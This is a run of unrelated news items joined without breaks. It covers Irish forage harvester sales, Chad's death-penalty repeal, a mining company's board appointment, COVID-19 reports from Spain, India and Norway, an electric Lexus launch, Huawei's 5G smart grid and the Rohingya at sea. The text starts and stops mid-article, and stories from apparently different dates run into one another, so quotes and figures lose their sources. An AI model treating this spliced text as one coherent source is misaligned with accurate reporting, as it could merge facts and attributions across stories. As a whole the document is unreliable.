compliant engine which uses compound turbo technology, with the option of the fuel saving dynamic power system. This automatically alters engine power relative to load. Drive to the front axle is through a 40kph, two-speed hydrostatic transmission. Theaguar 880 comes with the latest colour Cebis control terminal, with function screens accessed using either the main rotary switch or the hot key which provides direct access to pre-selected functions. Moving up the scale, all Jaguar 900 machines have made the move to Stage 5 engines developing more power and providing an increase in torque. The 970 is the big seller in Ireland from this series and is powered by a MAN straight six engine, which develops 790hp from its displacement of 16L. However, the most powerful offering from the Claas harvester family is, without dout, the 925hp Jaguar 990. Co Cork-based silage contractor Mark Troy has recently taken delivery of one of these machines. It is powered by a 24L, V12 engine that is Stage V compliant for the latest European emissions standards. Karol Duignan, the Claas area sales manager for Ireland, says the drive is for more power in a tighter market this year. We have sold 15 Jaguars in the Republic to date in 2020. We have regular customers who change their harvester every couple of years. The market is quieter than last year, but 2019 was the one off rather than this year being all that unusual. Farming is keeping going through the crisis and that we are here to support that with after sales support and back up. KRONE BIG X Krone in second place is making fast progress in Ireland on market share for self-propelled harvesters. Its all about the Big X, with its best-selling models being the Big X 630, 580 and 530 machines. The 630 is the most popular seller and user reports indicate it has done well in typically tough Irish conditions with heavy crops of silage. It has 626hp on offer and, like other Krone foragers, is notable for having six feed-rollers. The six pre-compression rollers run off a hydraulic drive shaft while the header can adjust automatically for good flotation on undulating ground. This reduces the risk of scalping and bringing soil into the chopped crop. The 630 is the biggest of the compact models in the Big X line up. Stephen Scrivener, marketing manager with Farmhand, importers for Krone in Ireland, says: After a bumper year in 2019 for forage harvester sales across the Island of Ireland, the market contracted quite a bit this year. We have sold six foragers in a much-reduced market. We have had double digit Big M 450 self-propelled mower sales again though, which is great to see. He adds that contractors and farmers need not be worried ahead of the silage season when it comes to parts and machine deliveries. Krone have remained open and fully operational so far through the crisis. This has allowed us to get in all of our self-propelled and standard machines early which was great to ease the pressure. Our parts stock order is also well in and much of it out with dealers so they can be prepared for any breakdowns that might happen. If the situation allows, it is our plan to have a number of demo Big X SPFHs out this year. JOHN DEERE 8000 & 9000 Driven by the market demand for more power, efficiency and productivity, but with a transport width of less than 3m, John Deere introduced an additional model to its current 8000 Series line-up late last year. A few of these machines have been sold in Ireland. The best sellers for Deere tend to be the 8500 and 8600 models. The latter now tops the current range of standard crop channel models. Even fitted with large 2.15m 710/75R42 front tyres, all the 8000 Series models remain within the critical road transport width of 3m. For 2020, the 8000 and 9000 Series self-propelled forage harvesters have been updated to provide customers with more comfort and lower operating costs. The 8000 Series cutter head benefitted from the updated, bigger, 9000 Series unit. New features include a strengthened frame, bigger bearings and an improved knife grinding system. Deere maintains customers will also benefit from lower service costs and improved chopping quality due to the longer lifetime of the blades and shear bar, A new operating lever introduces better ergonomics to the John Deere forager range. Access for all i-specification packages is now free of charge for the first five years. This provides customers with wireless connection in the field and enables data exchange with any mobile computers and smartphones as well as the farm office via JDLink Connect. On its bigger 9000 series, there are four new models ranging in output from 625hp up to 970hp. Theses foragers have undergone a fresh design with features including twin exhausts. Deere has opted to use Liebherr 24.2-litre V12 engines at the heart of the three biggest models in the new series the 9700, 9800 and 9900. The entry model in the range, the 9600 Series, is powered by a John Deere 13.5-litre engine. Lagan Brothers contractors in Derry last year took delivery of the very first John Deere 9900i SPFH to be sold in Europe. Chad passed a new anti-terrorism law on Tuesday that abolishes the death penalty for terrorism-related crimes in the country, parliament announced. The new law replaces legislation that was introduced on July 30, 2015, which made acts of terrorism punishable by death. The death penalty was reinstated for terror crimes after the government said in 2014 it would be abolished because of attacks by the militia group Boko Haram in the capital of NDjamena, which left 67 dead, including 10 suicide bombers, and 182 injured. The move now abolishes the death penalty in Chad overall. At the time, civil and human rights groups were opposed to the move, concerned that it could be used to curb rights. In 2018, after four prisoners were sentenced to death in Chad, the European Union called on the government to join the majority of African Union states that had abolished the death penalty. Boko Haram, meanwhile, continues to pose a threat to communities in Chad, Nigeria, Niger and Cameroon. Since 2009, tens of thousands of people have died at the hands of the Sunni fundamentalists in the region and an estimated 2.5 million people have fled their homes. (dpa/NAN) TORONTO, April 28, 2020 (GLOBE NEWSWIRE) -- Copper Lake Resources Ltd. (TSX-V: CPL, Frankfurt: W0I) ("Copper Lake" or the "Company") is pleased to announce the appointment of Ms. Naomi Johnson, LL.B. to the Companys Board of Directors. Ms. Johnson is a lawyer with over 12 years of experience working in the mineral industry as a global Corporate Social Responsibility executive, primarily in a community relations role both domestically and internationally. From 2008 to 2017, Ms. Johnson worked for Barrick Gold Corporation in a number of senior roles, most recently serving as Partner and Senior Director, Community Relations. Copper Lake Chief Executive Officer Terry MacDonald commented, I am very pleased to welcome Naomi to Copper Lakes Board of Directors. As an expert in CSR and community engagement best practices, Naomi brings industry leading expertise necessary to the Company at a time when engagement with the indigenous community is becoming even more critical to the success of mining in Canada. As Copper Lake advances its properties at Marshall Lake and Norton Lake, we will strive to implement these best practices with our indigenous partners. Mr Gary OConnor, B.Sc,. FAusIMM is stepping down from the Board at this time. Gary has been a director of the Company since March 2016 and has contributed significantly to the Company during his tenure. The Board of Directors wish to express their thanks to Mr. OConnor for his service to the Company. Granting of Stock Options The Company also announces that it has granted, effective April 28, 2020, a total of 500,000 stock options to its new director in accordance with the Company's current stock option plan. Each option is exercisable into one common share of the Company at a price of $0.05 per share for a period of five years from the date of grant, and vest immediately. About Copper Lake Resources Copper Lake Resources Ltd. is a publicly traded Canadian company currently focused on advancing properties located in Ontario, Canada. The Marshall Lake high-grade VMS copper, zinc, silver and gold property, located just north of Geraldton, Ontario, comprises an area of approximately 104 square km and is accessible by all-season road. Copper Lake has an option to increase its interest to 87.5% from its current 75% interest. In addition to the original Marshall Lake property above, Marshall Lake also includes the Sollas Lake and Summit Lake properties, which are 100% owned by the Company and are not subject to any royalties. The Sollas Lake property consists of 20 claim cells comprising an area of 4 square km on the east side of the Marshall Lake property where historical EM airborne geophysical surveys have outlined strong conductors on the property hosted within the same favourable felsic volcanic units. The Summit Lake property currently consists of 100 claim cells comprising an area of 20.5 square km, is accessible year round, and is located immediately west of the original Marshall Lake property. Copper Lake has a 71.41% interest in the Norton Lake nickel, copper, cobalt, PGM property, located in the southern Ring of Fire area, is approximately 100 km north of the Marshall Lake Property, and has a NI 43-101 compliant measured and indicated resource of 2.26 million tonnes @ 0.67% Ni, 0.61% Cu, 0.03% Co and 0.46 g/t Pd. On behalf of the Board of Directors, Copper Lake Resources Ltd. Terry MacDonald, CEO (416) 561-3626 tmacdonald@copperlakeresources.com CHF Capital Markets Cathy Hume, CEO (416) 868-1079 x 231 cathy@chfir.com www.copperlakeresources.com Neither the TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release. Spain on Tuesday recorded a slight decrease in the number of daily coronavirus deaths with the government set to unveil plans to relax stringent lockdown measures in place since mid-March. The number of fatalities rose by 301 to 23,822 in the previous 24 hours, compared with Monday's increase of 331, the health ministry said. It is the fifth consecutive day that the number of daily fatalities in Spain -- which has the world's third-highest COVID-19 death toll after the United States and Italy -- has been below 400. Officials believe the epidemic peaked on April 2 when the daily toll hit 950. "The evolution has been very fast in terms of the number of dead and that is good," health ministry emergencies coordinator Fernando Simon told a news conference. Spain's nearly 47 million people have since March 14 lived under one of the strictest virus lockdowns in the world, with only adults authorised to leave home to buy food, medicine or walk the dog. For latest updates and live news on coronavirus, click here The lockdown was prolonged last week until May 9 but Prime Minister Pedro Sanchez is expected to later on Tuesday outline how he will ease the restrictions. Already on Sunday kids under 14 were allowed out for the first time to go for a walk, a run or a bike ride accompanied by one parent. Spain has so far counted more than 210,000 cases of COVID-19, the second-highest figure in the world, although the health ministry only logs cases confirmed by testing. The number of people who have recovered from the virus now stands at over 102,500. Until late last week, the government was also including the numbers of those shown to have developed antibodies. On Monday, the government launched a sero-prevalence study involving 60,000 people to collect information on the real number exposed to the virus through analysing blood test data. Shanghai (Gasgoo)- The Lexus UX300e, the upmarket Japanese brand's first foray into the realm of all-electric vehicles, officially went on sale in China on April 26. Guiding prices of its two variants sit between RMB362,000 and RMB385,000. The significant BEV model is built on e-TNGA, Toyota's dedicated platform from all-electric vehicles. It displays a striking resemblance to the fuel-powered UX with many familiar elements retained. For instance, the iconic Lexus spindle grille features a block-style mesh that changes shape depending on the viewing angle. Arrowhead-shaped clearance lamps located immediately above the slim LED headlamps render an aggressive front fascia. The UX 300e still possesses a body proportion that befits a vehicle with brilliant agility. The taillight cluster stretching across the tailgate is also adopted here. At the rear, the ELECTRIC lettering at the rear reveals that this is a battery-only vehicle. Charging ports are located at the rear fender. Many of unique styling cues, which have been applies in the UX's existing petrol and plug-in hybrid versions, can still be seen in the new model's interior, such as the 7-inch LCD dashboard display, the center console adorned with a 12.3-inch floating screen, the leather-wrapped multifunctional steering wheel and the infotainment input system called Remote Touch. Unlike the fuel-powered version, the UX 300e uses a shift-by-wire system at the center console. The UX 300e is outfitted with the latest Lexus Safety System +, which contains Pre-Collision System with Pedestrian Detection, Lane Tracing Assist that helps drivers stay on course, Adaptive High-beam System that helps drivers recognize pedestrians and road signs more clearly at night, Road Sign Assist as well as Dynamic Radar Cruise Control. With Lexus Link App, a driver can stay connected with its UX 300e, enjoying such practical functions as remote charging, remote control of air conditioning and a charging station detector. The UX300e Touch Pad allows him to control the 10.3-inch Lexus Premium Navigation and the Lexus Link. The new BEV model is afforded with a 400km of NEDC-rated range thanks to a 54.3kWh lithium-ion battery pack. Powering the vehicle is an electric motor at the front axle that pumps out 204PS and 300 Nm of almost instantaneous torque (photo source: Lexus' WeChat account). (Natural News) Governments around the world continue to enforce social distancing and stay-at-home orders to help flatten the curve or slow down the transmission rate of coronavirus. While these measures help protect you from infection, its important to consider another aspect of your well-being during this crisis: Your mental health. Social distancing and staying home might significantly affect your mental health due to cabin fever or even feelings of loneliness. Therefore, its important to practice self-care during these troubling times to keep your overall well-being in check. What is social distancing? You may have heard of directives stating to keep at least six feet of physical space between yourself and other people when youre out to buy groceries and on other essential trips. This is social distancing. The first step in flattening the curve on coronavirus, the enforcement of social distancing rules has led to the cancellation or postponement of mass gatherings like concerts, sporting events, and even religious gatherings to protect public health. In a 2006 study published in the journal Emerging Infectious Diseases, researchers reported that social distancing policies are sketched to lessen the rise of pandemic flu without the aid of vaccination or over-the-counter drugs. According to Dr. Amesh A. Adalja, an infectious disease expert and senior scholar at the Johns Hopkins Center for Health Security, you can practice social distancing by staying home. This is the reason why many people are now working from home, schools have moved online, and people are hanging out via video calls. Adalja noted that social distancing recommendations are altered if youre among those most at risk of getting infected, such as the elderly and immunocompromised. If you belong to either of these groups, you need to be stricter when limiting your contact with others. How do you self-quarantine? Social distancing, self-isolation and self-quarantine share one similarity: They all limit your personal and social contact, but on different levels. Self-isolation separates sick people from others who are healthy. It can happen with or without medical supervision. Self-quarantine separates and restricts the movement of people who arent sick yet, but could have been exposed to the virus. Being quarantined will determine if you were exposed if you get sick after some time has passed. Whether youre self-isolating or self-quarantining for coronavirus, you must stay home and limit contact with family members to prevent further spread of the virus. Follow the tips below for effective self-quarantining: Rest and get enough sleep. Stay hydrated. Wash your hands thoroughly using soap and water or those are not available, hand sanitizer. Do not share personal items with other people in your household. Sanitize household surfaces regularly. If you dont feel well, stay in your own room and sleep alone. While self-quarantining, monitor yourself for symptoms and get in touch with a healthcare professional once you start experiencing symptoms associated with COVID-19. Symptoms like coughing, fever and shortness of breath can occur at least two to 14 days after exposure to coronavirus. If youre already sick and must travel for essential reasons, wear a face mask and limit your contact with other people when outside. How to practice self-care while on lockdown You may suffer from stress and anxiety due to the drastic effects of the coronavirus pandemic on your everyday life, but it is important to stay calm and exercise caution to protect yourself and your loved ones. Follow the tips below to manage your stress and anxiety while staying home on lockdown: Try meditation or yoga. Like others around the world, you may be feeling anxious and scared about the current public health crisis. Practice mindfulness to ground yourself, try yoga or start meditating. Yoga will teach you how to relax, release tension and strengthen weak muscles. Practicing yoga regularly may even help ease anxiety and improve your overall mood. Get quality sleep. Getting good, restful sleep each night supports immune health and allows your body to recover after a tiring and stressful day. Use social media to stay in touch. If youre apart from your family and close friends, set up a regular video call and spend meaningful time with each other. Do meaningful things. Your job is important, but once youre done working from home, try to do one task that is meaningful to you. Read a book youve always wanted to finish or start a new hobby. Do things that make you laugh. The coronavirus pandemic is a serious matter, but keeping your sense of humor is crucial for your mental health. Limit the time you spend reading news reports about the disease and if youre particularly anxious, play with your pets or watch a funny movie to lighten the mood. Social distancing and self-quarantining may cause negative emotions like stress or anxiety. When youre feeling overwhelmed, take a breather and practice these self-care tips, so you may maintain both physical and mental health amid the COVID-19 pandemic. Sources include: OrganicFacts.net Health.com 1 Health.com 2 IntermountainHealthcare.org VeryWellMind.com PA Media: Video Tottenham boss Antonio Conte says it is down to the club whether they make any signings during the transfer window. Conte has presented his assessment of the squad from his first two months at the club to chairman Daniel Levy and managing director of football Fabio Paratici. I spoke with the club and I had my thoughts about the situation, the Italian said. I think this is the most important thing, then the club have to decide the best way to go. I can give a lot of work to clubs I worked at in the past and now in the present. I can give this and then the decisions are for the club, not for me. The last word is always for the club. The Trump Administration announced new export control actions to prevent efforts by entities in China, Russia, and Venezuela to acquire American technology that could be used for development of weapons, military aircraft, surveillance through civilian supply chains. "It is important to consider the ramifications of doing business with countries that have histories of diverting goods purchased from US companies for military applications," said Commerce Secretary Wilbur Ross. "Certain entities in China, Russia, and Venezuela have sought to circumvent America's export controls, and undermine American interests in general, and so we will remain vigilant to ensure U.S. technology does not get into the wrong hands," Ross said. Prominent among the rule changes include expansion of Military End Use/User Controls (MEU), removal of license exception civil end users (CIV) and elimination of license exception additional permissive reexports (APR) provisions. The new rule, expands MEU license requirements controls on China, Russia, and Venezuela to cover military end-users in all three countries, as well as items such as semiconductor equipment, sensors, and other technologies sought for military end use or by military end-users in these countries. It seeks to removes a license exception for exports, reexports, or transfers (in-country) to civilian end-users in countries of national security concern for National Security- (NS) controlled items. The new rule also proposes to eliminate certain provisions of a license exception for partner countries involving the reexport of NS-controlled items to countries of national security concern to ensure consistent reviews of exports and reexports of US items. US Senator Ben Sasse, a member of the Senate Select Committee on Intelligence and an outspoken China hawk, in a statement said that this was long due. This rule is grounded in two basic truths: Modern war is high tech and China's so-called private sector' is fake. Chairman Xi has erased any daylight between China's businesses and the communist party's military, Sasse said. We didn't win the Cold War by selling cruise missiles to the Soviets, and we're not going to beat China by selling semiconductors to the People's Liberation Army. These rules are long overdue, he said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The Cambodian Immigration Department is looking to get all foreign nationals, tourists and residents, registered on a new application and threatened on Monday to deny visa renewals for foreign nationals failing to comply. The Interior Ministrys Immigration Department on Monday issued a statement threatening to cease visa renewals starting July 1, 2020, if foreigners failed to register themselves on the Foreigner Presence in Cambodia System mobile phone application. Starting early January, Cambodian police and immigration officials posted on Facebook meetings with guesthouse and hotel owners to explain the new system, which requires accommodation owners to register the date of check-in, check-out, and passport details. The same will apply to landlords and their foreign tenants. An offline version of this reporting system is already present, whereby tourism accommodation owners have to weekly handover copies of passports of their guests, with landlords having to register the rental agreement at the local commune office. Keo Vanthan, the deputy director-general of the General Department of Immigration, said the onus was on accommodation owners to register their foreign guests and tenants, but said foreigners would not get visa renewals if they were not registered. We asked [owners] to report this and if they dont report the foreigners staying at their places, we will not extend their stay, he said. The foreigners may not be aware of that, but the owners must be responsible. The application, available on both Android and iOS, is called FPCS-GDI and was created around six months ago. On downloading the application, the user is expected to create an account, with foreigners also allowed to create an account in case they own the property they live in. The user chooses the kind of accommodation, such as a rental house, casino, hotel or guesthouse, as well as inputting their address. Then accommodation owners can Check-in or Check-out their guests or tenants, with the former requiring a photo of the foreigner nationals passport. The app allows a variety of access permissions to the users phone camera, fingerprint scanner, and precise location, among others. Keo Vanthan said the application was developed using the existing Article 18 in the Law on Immigration, which requires owners to inform the competent authorities of a new immigrant or non-immigrant alien within 24 hours or risk a fine. Uk Heisela, another deputy director-general at the General Department of Immigration, said the system made it easier to store data and for authorities to have a clear count of foreigners living in Cambodia. It is easier for us to manage foreigners. We just use via telephone, he said In response to privacy concerns, Uk Heisela said only authorities would have access to this data, such as high-ranking officials all the way down to the commune police chief. While Keo Vanthan did not know the number of foreigners registered, Uk Heisela said more than 10,000 people have been registered. Kampots provincial police chief, Mao Chanmathurith, said his team was working on registering foreigners on the new system but needed more time to do it. We cant finish this work on time since we need to explain to [accommodation owners] and know how to fill the data, he said, adding that there were problems with internet speeds and access. Orm Tethvibol, general manager at LBN Asian Hotel in Kampong Cham province, said the hotel had not been introduced to the system as yet. He said previously reception staff saved physical documents, such as copies of passports with names and nationalities of the guests, and then the police would come to collect it weekly. It is good with digital [documents], he said. Aurangabad city in central Maharashtra saw a sudden spike in coronavirus cases with the figure nearly doubling and crossing the 100-mark in just 24 hours on Tuesday, officials told. The number of COVID-19 patients in the city, which was 53 on Monday evening, soared to 105 by Tuesday evening, they said here. The adjoining Hingoli district also saw detection of two fresh cases, one of them a minor boy, taking the tally to 14, the officials told. Civic commissioner Astik Kumar Pandey tweeted about the sudden rise in COVID-19 cases in the city. "We are (now) testing more suspects than earlier period. Capacity of AMC (Aurangabad Municipal Corporation) to trace contacts (of COVID-19 patients) has also significantly gone up," he said. In Hingoli, a minor boy, who had returned from Mumbai and was subsequently quarantined at a facility in the district, tested positive on Tuesday, local surveillance officer Dr Ganesh Jogdand said. The boy hails from Sengaon tehsil of Hingoli district, he added. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Hannes Meyer, the companys chief financial officer, said Zambias population demographics have also aided the limited spread of the virus in the copper-rich country. I dont think for one minute that we will find ourselves in a situation in Zambia where the government will impose the closure of mining facilities. They have clearly provided support, they are actively encouraging the mines to continue, whilst observing various hygiene and other... SHENZHEN, CHINA / ACCESSWIRE / April 28, 2020 / On March 17, 2020, GSMA released Powered by SA, a collection of five use cases for 5G SA-driven applications. The Qingdao Smart Grid use case jointly proposed by Huawei and China Telecom is selected as the only one focused on industrial energy in the collection. This use case highlights the value of key 5G technologies, including 5G SA networking, edge computing, and network slicing, and shows Huawei's leadership in 5G development to enable digital transformation of various industries. 4G changes lives, whereas 5G changes society. The traditional one-pipe, best-effort 4G networks cannot fully meet the diversifying service requirements from different industries. In the 5G era, carriers need to build virtual dedicated end-to-end networks based on a unified network infrastructure to provide differentiated network capabilities and a deterministic service experience. In addition, they need to leverage different 5G technologies to tailor networks for different industries. Among key 5G technologies, network slicing lays a solid foundation for digital transformation for thousands of industries. Digital transformation of the electric power industry requires electric power communication networks that are ubiquitous, flexible, economical, secure, and reliable. This can be achieved by leveraging the three innate features of 5G - enhanced mobile broadband (eMBB), massive machine-type communications (mMTC), and ultra-reliable low-latency communication (URLLC) - and can be empowered by innovative technologies such as network slicing and edge computing. Huawei proposes to build dedicated 5G virtual networks for the electric power industry, and utilizes different technologies for the power distribution/consumption phase and the power generation/transformation phase. In the power distribution and consumption phases, a high number of scattered network nodes are involved, and full network coverage is required through these phases. Insufficient coverage has become the bottleneck for developing a smart grid. To mitigate this pain point, Huawei adopts network slicing to build a dedicated industry WAN as a supplement to the traditional optical dedicated network to create more connections. For the power generation and transformation phases - which only require network coverage in specific areas - Huawei uses MEC to build a campus-dedicated network on which local breakout is implemented to ensure data security and the MEC enables ubiquitous last-mile service access. In August 2019, Huawei signed a 5G strategic collaboration agreement with Qingdao Branch of China Telecom and Qingdao Power Supply Company of State Grid Corporation of China (SGCC). In October, the three parties collectively launched China's largest 5G smart grid experimental network in Qingdao. Two sets of power grid dedicated MEC and more than 30 base stations have been deployed in four areas for demonstration, including Laoshan Jinjialing, Olympic Sailing Center, Power Distribution Building, and West Coast Guzhenkou. Huawei has continuously conducted a series of innovative practices and field tests in various 5G network slicing-based scenarios. The 5G network slicing-based substation power distribution sensing system was deployed to provide 5G + power protection for the 2019 Qingdao Multinationals Summit. The industry's first field tests for intelligent distributed feeder automation and longitudinal differential protection services have been completed. Qingdao 5G+ Smart Grid uses Huawei's 5G SA construction solution from end to end and is the first in the industry to introduce Huawei's innovative 5G fully-automatic, multi-dimensional dynamic slicing solution that surpasses other slicing solutions. Huawei's slicing solution enables: Accelerated slicing: The fully automatic and programmable pipeline engine enables deployment of slices within minutes. Refined slicing: Power grid slices are delivered through intelligent modeling from multiple dimensions (such as users, services, or network capabilities) as well as microservice-level orchestration of network capabilities. Accurate slicing: The implementation of second-level SLA awareness and AI-based closed-loop optimization helps deliver deterministic electric power services. Qingdao Smart Grid also introduces Huawei's 5G MEC solution, which highlights ubiquitous connectivity and powerful computing capabilities. In addition to deterministic low latency, the MEC platform is applicable for various power grid applications and can effectively integrate these applications into 5G slicing networks, driving optimal cloud-network synergy at the network edge. The MEC platform can also provide value-added capabilities for power grid applications, such as assurance of bandwidth, management of life cycles, and balancing of service loads. With the collaboration of the three parties, the Qingdao 5G+ Smart Grid project has made remarkable achievements. In November 2019, the project won first prize in the Shandong Mobile Internet and 5G Application Innovation Competition. The project is written as a typical industry case in the 5GDN Industry White Paper jointly released by Huawei, China Academy of Information and Communications Technology (CAICT), China Mobile, China Telecom, and China Unicom in February 2020. GSMA's case selection further reflects the significance of the project, and sets a benchmark for 5G smart grids and power slices worldwide. As 5G networks became more prevalent and industry preparation increases, the pilot of the Qingdao 5G+ Smart Grid project will expand. Huawei will extensively verify an increasing number of typical 5G smart grid applications, and will continue to promote the maturity and commercial use of 5G smart grids in terms of technology, business, and industries. -End- Contact: Raymond Chou raymond.chou@wmglobal.com SOURCE: Huawei View source version on accesswire.com:https://www.accesswire.com/587321/GSMA-Selects-Huawei-Powered-Qingdao-Smart-Grid-as-5G-SA-Benchmark-Use-Case The Inspector General of Police, Mohammed Adamu, has ordered the posting of four Commissioners of Police to states and police formation. The Force Public Relations Officer (FPRO), Frank Mba, a deputy commissioner of police, disclosed this in a statement on Tuesday in Abuja. He said the CPs deployed are: Olugbenga Adeyanju, Adamawa, Isaac Akinmoyede, Imo, Audu Madaki, Force Criminal Investigation Department (FCID), Abuja and Edward Chuka, Plateau. Mr Adamu enjoined the residents of the affected states to accord the CPs maximum support and cooperation. He charged the newly posted officers to ensure they effectively consolidate and improve on the performances of their predecessors. The IGP said the postings were with immediate effect. (NAN) "When workers see that a person is losing the taste for life because they can't see their families, we have to find a way to progressively be able to allow a minimum of contact," Bourquin said. "The risk of virus will not disappear as long as there is no vaccine. We cannot condemn these people to never see their loved ones again." Beijing is stepping up its oversight of export of coronavirus test kits after several European countries complained about the accuracy of some Chinese-made tests, news agency Reuters has reported. India had, on April 27, asked its states and Union Territories to stop using the rapid antibody COVID-19 testing kits procured from China due to "wide variation" in their performance. India procured around five lakh rapid antibody test kits from two Chinese firms, Guangzhou Wondfo Biotech and Livzon Diagnostics, and they were distributed to several states reporting rising cases of the coronavirus infection. Also Read: Cops over 55 years can stay home, says Mumbai Police after 3 die of COVID-19 Now, according to the news agency, Chinese exporters of coronavirus tests must obtain a registration certificate from the National Medical Products Administration (NMPA) in order to be cleared by Chinas customs, the NMPA said in a statement late on Tuesday. COVID-19 Vaccine Frequently Asked Questions View more How does a vaccine work? A vaccine works by mimicking a natural infection. A vaccine not only induces immune response to protect people from any future COVID-19 infection, but also helps quickly build herd immunity to put an end to the pandemic. Herd immunity occurs when a sufficient percentage of a population becomes immune to a disease, making the spread of disease from person to person unlikely. The good news is that SARS-CoV-2 virus has been fairly stable, which increases the viability of a vaccine. How many types of vaccines are there? There are broadly four types of vaccine one, a vaccine based on the whole virus (this could be either inactivated, or an attenuated [weakened] virus vaccine); two, a non-replicating viral vector vaccine that uses a benign virus as vector that carries the antigen of SARS-CoV; three, nucleic-acid vaccines that have genetic material like DNA and RNA of antigens like spike protein given to a person, helping human cells decode genetic material and produce the vaccine; and four, protein subunit vaccine wherein the recombinant proteins of SARS-COV-2 along with an adjuvant (booster) is given as a vaccine. What does it take to develop a vaccine of this kind? Vaccine development is a long, complex process. Unlike drugs that are given to people with a diseased, vaccines are given to healthy people and also vulnerable sections such as children, pregnant women and the elderly. So rigorous tests are compulsory. History says that the fastest time it took to develop a vaccine is five years, but it usually takes double or sometimes triple that time. View more Show Beijing had been encouraging Chinese firms to export test kits and other supplies to help battle the coronavirus pandemic, leading to a surge of companies offering kits to countries desperate to get a handle on the fast-moving and highly contagious disease. Some Chinese test kit makers had been taking advantage of easier European Union regulations to get their products into the market before they were approved at home. In March, Lei Chaozi, an official with the Ministry of Education, said China-made testing kits had already been supplied to 11 countries, including the UK, Italy and the Netherlands. Follow our LIVE Updates here. Which other countries, apart from India, have withdrawn Chinese testing kits? The accuracy of some Chinese tests marketed overseas without Chinese approval have been questioned by European health authorities. Spain withdrew a batch of rapid tests manufactured by Chinese diagnostics firm Shenzhen Bioeasy Biotechnology after the product was found to have low sensitivity, which means they were unable to detect infection sufficiently. Bioeasy said in a statement last week the inaccurate readings could be because samples were not collected and processed correctly. Bioeasy said it failed to adequately communicate with clients on how to use the test. Separately, a spokeswoman from Chinas foreign ministry said last week that Slovak government officials had questioned the reliability of rapid tests purchased from China. Also Read | Delhi eases lockdown; plumbers, electricians can return to work The preliminary conclusion from the Chinese consulate in Slovakia was that the inaccuracies were the result of medical workers using the kit incorrectly, the spokeswoman said. The Slovak government did not immediately respond to requests for comment. Antigen tests Bioeasy's rapid tests, as well as the tests questioned by Slovak officials, are antigen tests, a method that targets the virus' protein to detect infection and can deliver results more quickly than the alternative nucleic acid method. But antigen tests require higher level of virus load and therefore could fail to diagnose people correctly when the samples only contain small amount of virus, Dr. Chen Guangjie, an immunology professor at Shanghai Jiaotong University, told Reuters. New coronavirus test makers in China are entering the European market during a transition between two regulatory systems. Also Read | WHO warns lifting of coronavirus lockdowns must be gradual A stricter rule will come into force in 2022 that will require many infectious disease diagnostic product manufacturers to follow procedures that can take up to a year or more to get a CE mark that indicates approval to be legally sold in European countries. Current regulations used by several Chinese companies allow manufacturers to obtain CE Mark after submitting a dossier of documents without compulsory verification by authorised third-parties. Now, China's tightened scrutiny is interrupting test manufacturers' overseas expansion plans. Xi'an Tianlong Science and Technology, a Chinese firm which received the CE Mark in March and has been in the process of churning out testing reagents that can supply tests for over one million people, told Reuters it now can't meet its export orders. "Our reagents don't have (NMPA) certificate and cannot be exported," the company's marketing director Feng Zhenzhen said, adding the firm is "actively" applying for Chinese regulator's approval. Also Read: In Charts | Economic impact of lockdown on Centre and states Jam Chan, marketing general manager at Osmunda, a service firm that advises Chinese medical product firms on getting overseas approvals, said many recently developed tests in China haven't gone through strict clinical trials, which means the self-declared accuracy rate printed on the products is not properly validated. "Better not exporting products than offering inaccurate products that can lead to fake results," said Chan. "The quality of products that have been through domestic review before being exported is at least guaranteed to some extent." Bangladesh Foreign Minister AK Abdul Momen has underlined that the Southeast Asian countries and the developed nations should contribute more to sheltering the Rohingyas, saying Dhaka has done enough for the refugees from Myanmar despite having resource constraints. Momen's statement came as the UK's State Minister for Foreign and Commonwealth Lord Ahmad called him on Monday and urged him to allow the entry of boats with some 500 Rohingyas stranded in the country's southwestern coast in the Bay of Bengal. "Five hundred is not a big figure when Bangladesh has sheltered over 1.1 million Rohingyas on humanitarian ground despite our resource constraints as a developing country," an official, who was familiar with the talks between the two ministers, said. Nearly one million Rohingya Muslims fled a crackdown by the Myanmarese military in 2017 in Rakhine state and are living in camps in Cox's Bazar in Bangladesh. Myanmar has faced international pressure to allow Rohingyas to return to Rakhine and grant them citizenship rights. Momen told Ahmad the boats were not on the Bangladesh coastlines and wondered why Bangladesh alone was being asked to provide them the refuge, ignoring the other countries in the region. He said other countries in South East Asia and developed nations should simultaneously shoulder responsibilities of providing refuge to the displaced people. Momen suggested the UK as well could send a Royal ship to rescue the stranded Rohingyas in the mid sea and shelter them. "The foreign minister feared that the situation could prompt the remaining Rohingyas in Myanmar's Rakhine state to try to enter Bangladesh as military crackdowns were still underway to kill them and oust the ethnic minority people from their homeland," the official said quoting the Bangladeshi minister. He expressed concerns as different countries, including the European Union, kept on investing in Myanmar and the human rights bodies were not vocal over the issues. Several international rights groups and aid agencies, including the United Nations High Commissioner for Refugees, earlier appeared critical on the role of Dhaka and other countries in the region in rescuing the floating people who were at sea for weeks without adequate food and water. Last week, the Bangladesh Coast Guard rescued 396 starving Rohingyas who were drifting at sea for weeks following their failed attempt to reach Malaysia while nearly 50 of them died due to ailments and malnutrition during the period. "Why should Bangladesh take the responsibility every time? Bangladesh has already taken more than a million of Rohingya. We are running out of our generosity now," Momen had said then. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Norway reopened primary schools to the youngest children on Monday after officials claimed the coronavirus was under control, though some parents have expressed concern. Some 250,000 pupils aged six to 10 started returning to their desks following six weeks of remote learning, a week after nursery schools reopened. However, class sizes have been limited to 15 students. The government is readying a plan for reopening the remainder of the schools, Education Minister Guri Melby saying she wanted everyone to return before the summer holidays. At the Levre school in the residential suburb of Baerum outside Oslo, children streamed back to school in the rain on Monday. Outside the building, flowers painted on the ground indicated the distance children need to keep from each other, one of several reminders of the threat posed by the illness. Seven-year-old Tilde was bursting with impatience to reconnect with her friends and teachers. "She was ready at six o'clock this morning, three hours early. She was so excited to go back. No alarm clock, we didn't need that," her mother Karine Rabbe told AFP. Signs hung at the entrance saying "Nice to have you back", one poster featuring a child's drawing of a rainbow with the text "Everything will be fine!" in Norwegian. - 'Safe as it can be' - But not everyone was at ease with the return. A Facebook group called "My child should not be a guinea pig for COVID-19" has garnered almost 30,000 members. "If it were up to me entirely, I would probably wait a couple of more weeks because I don't think we have all the information we need at this point," Rabbe said. The school's headmistress Kathrine Wilsher Lohre has been reassuring parents, telling AFP: "There is anxiety in society everywhere. That's why information is very important. "Under the circumstances, it's as safe as it can be." She said she expected most of the school's 300 pupils to attend classes on Monday. Education Minister Melby said there were no nationwide attendance statistics available for Monday but added that she believed "the majority" 